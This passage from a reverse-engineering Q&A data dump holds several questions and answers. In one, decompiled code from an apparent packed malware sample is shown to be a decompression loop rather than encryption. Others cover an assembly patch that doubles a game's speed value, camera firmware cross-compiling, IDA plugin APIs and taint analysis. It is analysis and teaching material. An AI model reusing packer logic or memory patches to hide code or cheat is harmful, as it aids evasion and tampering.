unsigned int v10; // [sp+20h] [bp-30h]@5&#xA;  unsigned int i; // [sp+24h] [bp-2Ch]@5&#xA;  unsigned int v12; // [sp+28h] [bp-28h]@5&#xA;  unsigned int v13; // [sp+2Ch] [bp-24h]@5&#xA;  signed int v14; // [sp+30h] [bp-20h]@13&#xA;  unsigned int v15; // [sp+34h] [bp-1Ch]@5&#xA;  unsigned int v16; // [sp+38h] [bp-18h]@5&#xA;  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5&#xA;  signed int v18; // [sp+40h] [bp-10h]@5&#xA;  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11&#xA;  unsigned int v20; // [sp+48h] [bp-8h]@13&#xA;  unsigned int v21; // [sp+4Ch] [bp-4h]@16&#xA;&#xA;  if ( a2 &amp;gt; 0xC )&#xA;  {&#xA;    if ( *(_DWORD *)a1 == 1083581807 )&#xA;    {&#xA;      v16 = sub_9001300(a1);&#xA;      v18 = 12;&#xA;      v17 = 0;&#xA;      v15 = 9;&#xA;      v12 = 256;&#xA;      v13 = 256;&#xA;      v10 = 8 * a2 - 96;&#xA;      for ( i = 9; v10 &amp;gt;= i; v10 -= i )&#xA;      {&#xA;        if ( i != 12 &amp;amp;&amp;amp; v13 == 1 &amp;lt;&amp;lt; i )&#xA;          ++i;&#xA;        ++v13;&#xA;      }&#xA;      lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);&#xA;      if ( lpAddress )&#xA;      {&#xA;        v20 = 0;&#xA;        v14 = 256;&#xA;        for ( j = 0; j &amp;lt;= 255; ++j )&#xA;        {&#xA;          lpAddress[3 * j] = 0;&#xA;          lpAddress[3 * j + 2] = 0;&#xA;          lpAddress[3 * j + 1] = 1;&#xA;        }&#xA;        v21 = 0;&#xA;        while ( v21 &amp;lt; v16 &amp;amp;&amp;amp; v12 &amp;lt; v13 )&#xA;        {&#xA;          v7 = 0;&#xA;          for ( k = 0; k &amp;lt; v15; ++k )&#xA;          {&#xA;            if ( (1 &amp;lt;&amp;lt; (7 - (v17 + 8 * v18) % 8)) &amp;amp; *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )&#xA;              v7 |= 1 &amp;lt;&amp;lt; k;&#xA;            v4 = (v17 + 1) % 8;&#xA;            v17 = (v17 + 1) % 8;&#xA;            if ( !v4 )&#xA;              ++v18;&#xA;          }&#xA;          if ( v7 &amp;gt; 0xFF )&#xA;          {&#xA;            if ( v20 &amp;lt; 0xF00 &amp;amp;&amp;amp; v7 &amp;gt; v20 + 255 )&#xA;              return 0;&#xA;            if ( v21 + lpAddress[3 * v7 + 1] &amp;gt; v16 )&#xA;              return 0;&#xA;            for ( l = 0; l &amp;lt; lpAddress[3 * v7 + 1]; ++l )&#xA;              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);&#xA;          }&#xA;          else&#xA;          {&#xA;            *(_BYTE *)(v21 + a3) = v7;&#xA;          }&#xA;          if ( v20 == 3840 )&#xA;          {&#xA;            if ( (unsigned int)++v14 &amp;gt;&amp;gt; 12 )&#xA;              v14 = 256;&#xA;          }&#xA;          if ( v20 &amp;gt;= 0xF00 )&#xA;          {&#xA;            v8 = v14 - 1;&#xA;            if ( v14 == 256 )&#xA;              v8 = 4095;&#xA;          }&#xA;          else&#xA;          {&#xA;            v8 = v20 + v14;&#xA;          }&#xA;          lpAddress[3 * v8] = v21;&#xA;          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;&#xA;          lpAddress[3 * v8 + 2] = 0;&#xA;          if ( v20 &amp;lt; 0xF00 )&#xA;            ++v20;&#xA;          v21 = v21 + lpAddress[3 * v8 + 1] - 1;&#xA;          ++v12;&#xA;          if ( v15 &amp;lt; 0xC &amp;amp;&amp;amp; 1 &amp;lt;&amp;lt; v15 == v12 )&#xA;            ++v15;&#xA;        }&#xA;        if ( v21 &amp;gt;= v16 )&#xA;        {&#xA;          // sub_9001000 is only called onece and always return 0&#xA;          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )&#xA;          {&#xA;            VirtualFree(lpAddress, 0, 0x8000u);&#xA;            result = 0;&#xA;          }&#xA;          else&#xA;          {&#xA;            result = 0;&#xA;          }&#xA;        }&#xA;        else&#xA;        {&#xA;          result = 0;&#xA;        }&#xA;      }&#xA;      else&#xA;      {&#xA;        result = 0;&#xA;      }&#xA;    }&#xA;    else&#xA;    {&#xA;      result = 0;&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    result = 0;&#xA;  }&#xA;  return result;&#xA;}&#xA;&#xA;&#xA;int __stdcall sub_9001300(int a1)&#xA;{&#xA;  int result; // eax@2&#xA;&#xA;  if ( *(_DWORD *)a1 == 1083581807 )&#xA;    result = *(_DWORD *)(a1 + 4);&#xA;  else&#xA;    result = 0;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File info:&#xA;     file format pei-i386&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;  0 .text         00001000  09001000  09001000  00001000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, CODE&#xA;  1 .rdata        00001000  09002000  09002000  00002000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;  2 .rsrc         00005000  09003000  09003000  00003000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, DATA&#xA;  3 .reloc        00001000  09008000  09008000  00008000  2**2&#xA;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11478" LastEditorUserId="2147" LastEditDate="2016-09-09T21:50:57.083" LastActivityDate="2017-06-29T05:09:57.563" Title="How can I determine if a piece of code is an encryption algorithm?" Tags="|malware|unpacking|encryption|decryption|encodings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="2" ParentId="13475" CreationDate="2016-09-09T13:48:42.973" Score="11" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; What we have here is probably not an encryption algorithm, it is more likely a decompression loop, by the look of it. It simply does not do anything that could be considered even remotely similar to encryption.&lt;/p&gt;&#xA;&lt;p&gt;Encryption algorithms are divided into two classes. First is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher&quot; rel=&quot;noreferrer&quot;&gt;stream cipher&lt;/a&gt;. From wikipedia:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Second is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Block_cipher&quot; rel=&quot;noreferrer&quot;&gt;block cypher&lt;/a&gt;. From wikipedia:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In cryptography, a block cipher is a deterministic algorithm operating on fixed-length groups of bits, called blocks, with an unvarying transformation that is specified by a symmetric key. Block ciphers operate as important elementary components in the design of many cryptographic protocols, and are widely used to implement encryption of bulk data.&lt;/p&gt;&#xA;&lt;p&gt;The modern design of block ciphers is based on the concept of an iterated product cipher. In his seminal 1949 publication, Communication Theory of Secrecy Systems, Claude Shannon analyzed product ciphers and suggested them as a means of effectively improving security by combining simple operations such as substitutions and permutations.&lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt; Iterated product ciphers carry out encryption in multiple rounds, each of which uses a different subkey derived from the original key. One widespread implementation of such ciphers, named a Feistel network after Horst Feistel, is notably implemented in the DES cipher.&lt;a href=&quot;https://en.wikipedia.org/wiki/Block_cipher&quot; rel=&quot;noreferrer&quot;&gt;2&lt;/a&gt; Many other realizations of block ciphers, such as the AES, are classified as substitution-permutation networks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What we have here is probably not an encryption algorithm. It simply does not do anything that could be considered even remotely similar to encryption. Some of the things that are often found in encryption algorithms but are missing here (not a complete list but just the first few things I came up with):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There's no pseudo-random stream generated based on an internal state and seed like in stream ciphers&lt;/li&gt;&#xA;&lt;li&gt;no sequential character combination of generated stream with input buffer using a XOR (or any other operation).&lt;/li&gt;&#xA;&lt;li&gt;No block structure - a sequence executed multiple times on each nicely chunked portion of the input message.&lt;/li&gt;&#xA;&lt;li&gt;no long and complex permutation (and no permutation table).&lt;/li&gt;&#xA;&lt;li&gt;No multiple iterations of a permutation code common to block ciphers.&lt;/li&gt;&#xA;&lt;li&gt;no key sequence initialization (used in both stream and block ciphers).&lt;/li&gt;&#xA;&lt;li&gt;Not enough substitutions over either input message or stream/state.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Encryption algorithms are usually long (and one might say ugly). Usually structured and meticulous on performing operations on all bytes in long repeated sequences. You'll often see multiple iterations of a fixed length performing a single or few operations.&lt;/p&gt;&#xA;&lt;p&gt;This is more resembling a compression/decompression algorithm, as sequences of bytes are copied on certain conditions, while bytes are constructed into the decompressed buffer on others.&lt;/p&gt;&#xA;&lt;p&gt;Lets go over the code and see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_9001320(int a1, unsigned int a2, int a3)&#xA;{&#xA;// a1 = a3 = 0x09003000&#xA;// a2 = 0x7600&#xA;&#xA;  int result; // eax@2&#xA;  char v4; // al@23&#xA;  unsigned int l; // [sp+4h] [bp-4Ch]@33&#xA;  unsigned int k; // [sp+10h] [bp-40h]@19&#xA;  unsigned int v7; // [sp+14h] [bp-3Ch]@19&#xA;  int v8; // [sp+18h] [bp-38h]@40&#xA;  signed int j; // [sp+1Ch] [bp-34h]@13&#xA;  unsigned int v10; // [sp+20h] [bp-30h]@5&#xA;  unsigned int i; // [sp+24h] [bp-2Ch]@5&#xA;  unsigned int v12; // [sp+28h] [bp-28h]@5&#xA;  unsigned int v13; // [sp+2Ch] [bp-24h]@5&#xA;  signed int v14; // [sp+30h] [bp-20h]@13&#xA;  unsigned int v15; // [sp+34h] [bp-1Ch]@5&#xA;  unsigned int v16; // [sp+38h] [bp-18h]@5&#xA;  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5&#xA;  signed int v18; // [sp+40h] [bp-10h]@5&#xA;  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11&#xA;  unsigned int v20; // [sp+48h] [bp-8h]@13&#xA;  unsigned int v21; // [sp+4Ch] [bp-4h]@16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Function definiton&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  if ( a2 &amp;gt; 0xC )&#xA;  {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assert a certain length is at least 96 bytes. Although there are some block ciphers accepting this as block size, it's not too common and most widely accepted block ciphers do not support this block size.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    if ( *(_DWORD *)a1 == 1083581807 )&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assert certain first bytes of buffer are fixed, this just looks odd without context.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;      v16 = sub_9001300(a1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Set &lt;code&gt;v16&lt;/code&gt; to second dword of input buffer&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;      v18 = 12;&#xA;      v17 = 0;&#xA;      v15 = 9;&#xA;      v12 = 256;&#xA;      v13 = 256;&#xA;      v10 = 8 * a2 - 96;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some more variable initializations&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;      for ( i = 9; v10 &amp;gt;= i; v10 -= i )&#xA;      {&#xA;        if ( i != 12 &amp;amp;&amp;amp; v13 == 1 &amp;lt;&amp;lt; i )&#xA;          ++i;&#xA;        ++v13;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Increase &lt;code&gt;v13&lt;/code&gt; according to original length. Without going too much into specifics here, this doesn't look like any cipher seed/initialization.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;      lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);&#xA;      if ( lpAddress )&#xA;      {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Allocate a hardcoded length buffer to work on as temporary data&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        v20 = 0;&#xA;        v14 = 256;&#xA;        for ( j = 0; j &amp;lt;= 255; ++j )&#xA;        {&#xA;          lpAddress[3 * j] = 0;&#xA;          lpAddress[3 * j + 2] = 0;&#xA;          lpAddress[3 * j + 1] = 1;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Initialize said buffer, 2/3 with 0s, 1/3 with 1s. this is probably a boolean buffer.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        v21 = 0;&#xA;        while ( v21 &amp;lt; v16 &amp;amp;&amp;amp; v12 &amp;lt; v13 )&#xA;        {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Loop &lt;code&gt;v16&lt;/code&gt; times. remember &lt;code&gt;v16&lt;/code&gt; is user supplied as the second dword in provided buffer. The second dword after the magic is probably a length.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          v7 = 0;&#xA;          for ( k = 0; k &amp;lt; v15; ++k )&#xA;          {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another loop, this time for 9 iterations. This means we have 9 iterations for each character in the guessed length parameter. Most block ciphers will have more iterations, and those won't be per character. Most stream ciphers will not process data but instead generate a stream of bytes to XOR with. We don't see a XOR here either.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            if ( (1 &amp;lt;&amp;lt; (7 - (v17 + 8 * v18) % 8)) &amp;amp; *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )&#xA;              v7 |= 1 &amp;lt;&amp;lt; k;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Bits are only added to &lt;code&gt;v7&lt;/code&gt;, also not productive for any type of encryption algorithm.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            v4 = (v17 + 1) % 8;&#xA;            v17 = (v17 + 1) % 8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These two are byte-sized counters.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            if ( !v4 )&#xA;              ++v18;&#xA;          }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Increase another counter, used for determining how many bits in &lt;code&gt;v7&lt;/code&gt; will be set. This entire loop decides which bits of &lt;code&gt;v7&lt;/code&gt; will be set, depending on a fixed sequence and wether certain bits of the input buffer are&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          if ( v7 &amp;gt; 0xFF )&#xA;          {&#xA;            if ( v20 &amp;lt; 0xF00 &amp;amp;&amp;amp; v7 &amp;gt; v20 + 255 )&#xA;              return 0;&#xA;            if ( v21 + lpAddress[3 * v7 + 1] &amp;gt; v16 )&#xA;              return 0;&#xA;            for ( l = 0; l &amp;lt; lpAddress[3 * v7 + 1]; ++l )&#xA;              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);&#xA;          }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If &lt;code&gt;v7&lt;/code&gt; is above 0xff do some sanity (and return on invalid state/data) and then copy a sequence of bytes until a null terminator is reached from a3 to a3, at offsets determined by the value of &lt;code&gt;lpAddress&lt;/code&gt; at a specific offset determined by &lt;code&gt;v7&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          else&#xA;          {&#xA;            *(_BYTE *)(v21 + a3) = v7;&#xA;          }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if &lt;code&gt;v7&lt;/code&gt; is below or equal to 255, simply assign it in specified location.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          if ( v20 == 3840 )&#xA;          {&#xA;            if ( (unsigned int)++v14 &amp;gt;&amp;gt; 12 )&#xA;              v14 = 256;&#xA;          }&#xA;          if ( v20 &amp;gt;= 0xF00 )&#xA;          {&#xA;            v8 = v14 - 1;&#xA;            if ( v14 == 256 )&#xA;              v8 = 4095;&#xA;          }&#xA;          else&#xA;          {&#xA;            v8 = v20 + v14;&#xA;          }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Reset values of &lt;code&gt;v8&lt;/code&gt; and &lt;code&gt;v4&lt;/code&gt; based on values of offset variables, namely &lt;code&gt;v20&lt;/code&gt; and themselves.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          lpAddress[3 * v8] = v21;&#xA;          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;&#xA;          lpAddress[3 * v8 + 2] = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Set a few other values in &lt;code&gt;lpAddress&lt;/code&gt; based hardcoded values (0) and a copy of a single value.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;          if ( v20 &amp;lt; 0xF00 )&#xA;            ++v20;&#xA;          v21 = v21 + lpAddress[3 * v8 + 1] - 1;&#xA;          ++v12;&#xA;          if ( v15 &amp;lt; 0xC &amp;amp;&amp;amp; 1 &amp;lt;&amp;lt; v15 == v12 )&#xA;            ++v15;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some more counter update based on input and reset of overflows.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        if ( v21 &amp;gt;= v16 )&#xA;        {&#xA;          // sub_9001000 is only called onece and always return 0&#xA;          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )&#xA;          {&#xA;            VirtualFree(lpAddress, 0, 0x8000u);&#xA;            result = 0;&#xA;          }&#xA;          else&#xA;          {&#xA;            result = 0;&#xA;          }&#xA;        }&#xA;        else&#xA;        {&#xA;          result = 0;&#xA;        }&#xA;      }&#xA;      else&#xA;      {&#xA;        result = 0;&#xA;      }&#xA;    }&#xA;    else&#xA;    {&#xA;      result = 0;&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    result = 0;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In case of any invalid input, return 0&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_9001300(int a1)&#xA;{&#xA;  int result; // eax@2&#xA;&#xA;  if ( *(_DWORD *)a1 == 1083581807 )&#xA;    result = *(_DWORD *)(a1 + 4);&#xA;  else&#xA;    result = 0;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assert buffer starts with a hardcoded dword (which we already know is the case because of a previous if statement) and return the value in the second dword.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-06-29T05:09:57.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13477" PostTypeId="1" AcceptedAnswerId="13479" CreationDate="2016-09-09T20:45:07.973" Score="1" ViewCount="1855" Body="&lt;p&gt;I have the following line of code in a game:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;movss xmm0,[eax+000000F0]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically loads the float speed of the current speed category into the XMM0 register. I already made a jump to an empty code section to get some more space, because I now want to multiply this speed by a hardcoded value of 2 after it was loaded. Sadly, easy-thinking like this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movss xmm0,[eax+000000F0]&#xA;mulss xmm0,2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't simply multiply an XMM register with an integer or float immediate. I read that I can only multiply with another XMM register. But then again I can't push and pop an existing XMM register to the stack to abuse it for that operation temporarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I create such a simple multiplication operation?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2018-07-22T16:50:00.383" LastActivityDate="2018-07-22T16:50:00.383" Title="How to multiply an SSE float with a hardcoded value using MULSS?" Tags="|assembly|float|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13478" PostTypeId="1" CreationDate="2016-09-09T20:51:13.643" Score="-1" ViewCount="664" Body="&lt;p&gt;I've reverse engineered quite a bit of action cameras based on Allwinner's poorly documented chipset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs firmware closely related to H3, in fact I can compile a kernel that boots with no video from this source: &lt;a href=&quot;https://github.com/friendlyarm/h3_lichee&quot; rel=&quot;nofollow&quot;&gt;https://github.com/friendlyarm/h3_lichee&lt;/a&gt; (using crane-sdv config)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting ext2 working I would like to compile v4l utils for this system. This way I can record video with MY parameters using the adb command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how can I do this? I don't have the tiny android source code although it appears based on 4.2.2 sans java. The rootfs is only 20MB but it has the full v4l2 system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried cross compiling with linaro against the /system/lib folder of rootfs but I can't run v4l-ctl, it says file not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more info on the fw is here:&lt;a href=&quot;https://dashcamtalk.com/forum/threads/hacking-q3h-allwinner-v3-camdroid.20507/&quot; rel=&quot;nofollow&quot;&gt;https://dashcamtalk.com/forum/threads/hacking-q3h-allwinner-v3-camdroid.20507/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I try next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compiled stuff wasn't running because I had to use the android ndk so it can use the correct linker.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can proceed to kick the question back out on your technicality boys, thanks for the non-help&lt;/p&gt;&#xA;" OwnerUserId="17407" LastEditorUserId="17407" LastEditDate="2016-09-13T01:09:36.283" LastActivityDate="2016-09-13T01:09:36.283" Title="Allwinner Camera Reversing: Compiling V4L" Tags="|linux|kernel-mode|patch-reversing|" AnswerCount="0" CommentCount="6" ClosedDate="2016-09-11T05:04:00.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="13479" PostTypeId="2" ParentId="13477" CreationDate="2016-09-09T21:03:22.947" Score="1" Body="&lt;p&gt;Although you indeed cannot use &lt;code&gt;mulss&lt;/code&gt; with an immediate value like you've pointed out, you are allowed to pass an 32bit offset as &lt;code&gt;mulss&lt;/code&gt;'s second operand:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Multiplies the low single-precision floating-point value from the source operand (second operand) by the low single-precision floating-point value in the destination operand (first operand), and stores the single-precision floating-point result in the destination operand. The source operand can be an XMM register or a 32-bit memory location. The destination operand is an XMM register. The three high-order double-words of the destination operand remain unchanged. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could then just point to any offset you control, if code is not relocated. If it is, you could simply use 'lea' if in 64bit mode or do the &lt;code&gt;call $+5 / pop&lt;/code&gt; trick in x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll assume x86 because it makes it a bit more complicated. The patch should look something like the following (this wasn't tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push edx&#xA;    call next&#xA;next:&#xA;    pop edx&#xA;    movss xmm0,[eax+000000F0]&#xA;    mulss xmm0,[edx+float-next]&#xA;    pop edx&#xA;    &amp;lt;return to previous location&amp;gt;&#xA;&#xA;float:&#xA;    &amp;lt;float as 32bit data&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be better solutions, but nothing pops at me.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-09T21:25:58.900" LastActivityDate="2016-09-09T21:25:58.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13480" PostTypeId="1" AcceptedAnswerId="13493" CreationDate="2016-09-09T23:30:45.780" Score="1" ViewCount="824" Body="&lt;h2&gt;context about &lt;code&gt;action_handler_t&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;IDA provides multiple features and APIs to extend and enhance it's usability, one of those features is the creation of user defined &lt;code&gt;action_handler_t&lt;/code&gt; objects by inheriting &lt;code&gt;idaapi.action_handler_t&lt;/code&gt; in IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feature involves several APIs, but one of the requirements is having a class that inherits said &lt;code&gt;idaapi.action_handler_t&lt;/code&gt; class and implements two methods. One of those methods is &lt;code&gt;update(self, ctx)&lt;/code&gt; (the other being &lt;code&gt;activate(self, ctx)&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During an IDA application's lifetime, the &lt;code&gt;update&lt;/code&gt; method will be called multiple times on certain events (startup, a new IDB being loaded, focus shifts to another form, etc). Updates then communicates back wether the action should be enabled or disabled and when to query again by issuing another call to &lt;code&gt;update&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of those events is an action's &lt;code&gt;activation&lt;/code&gt; call returns. The motivation is that actions performed as a result of an action being activated might potentially change the state of that same action or other actions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;actual question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While using IDA and certain Qt signals/slots abilities, I've created an &lt;code&gt;activation&lt;/code&gt; method that returns immediately and schedules most of its login to other slots, and I'm now losing the &quot;post-activation&quot; &lt;code&gt;update&lt;/code&gt; call that makes actions respond to overall state changes and change their own state (from disabled to enabled and vise versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I force an &lt;code&gt;update&lt;/code&gt; call by IDA's kernel to all existing actions so that when my delayed code finishes it could manually tell IDA it should call &lt;code&gt;update&lt;/code&gt; for all actions to query for their new state?&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-10T21:45:37.140" LastActivityDate="2016-09-12T07:34:13.237" Title="How can I force-update IDA's action_handler_t object's state?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13481" PostTypeId="1" CreationDate="2016-09-10T08:12:51.473" Score="4" ViewCount="1320" Body="&lt;p&gt;I'm studying program slicing and taint analysis. I know notion of program slicing and taint analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Program slicing and taint analysis are similar notion.&#xA;I don' know difference between program slicing and taint analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between program slicing and taint analysis?&lt;/p&gt;&#xA;" OwnerUserId="14225" LastActivityDate="2016-09-11T04:59:57.597" Title="What is the difference between program slicing and taint analysis?" Tags="|binary-analysis|program-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13482" PostTypeId="2" ParentId="13481" CreationDate="2016-09-10T10:58:17.837" Score="3" Body="&lt;p&gt;In my understanding there are two major differences: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Program Slicing&lt;/strong&gt; creates a reduced representant of a program which should still produces the same output for a given input. So you reduce the given program to its core functionality and you throw away all the clumpy/insignificant attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast a &lt;strong&gt;Taint Analysis&lt;/strong&gt; traces the path of an information through an application and observes all the objects which are affected/visited/influenced by the corresponding information. Therefor a specific input is labeled or tagged, so it could be tracked during its execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have &lt;em&gt;a reduced representation of a program&lt;/em&gt; with consideration of input output behavior VS the &lt;em&gt;trail of a selected input/variable&lt;/em&gt; within a program and its dependencies.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See also detailed descriptions below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Program slicing&lt;/strong&gt; tries to reduce a given program &lt;code&gt;P&lt;/code&gt; to a minimum form, a so called slice &lt;code&gt;S&lt;/code&gt;, which produces the same behavior. More formally taken from these &lt;a href=&quot;http://web.cs.iastate.edu/~weile/cs513x/5.DependencySlicing.pdf&quot; rel=&quot;nofollow&quot;&gt;slides&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;produce a slice &lt;code&gt;S&lt;/code&gt; from a given program &lt;code&gt;P&lt;/code&gt; by deleting statements&lt;/li&gt;&#xA;  &lt;li&gt;slice must be syntactically correct a given set of variables &lt;code&gt;V&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;should produce the 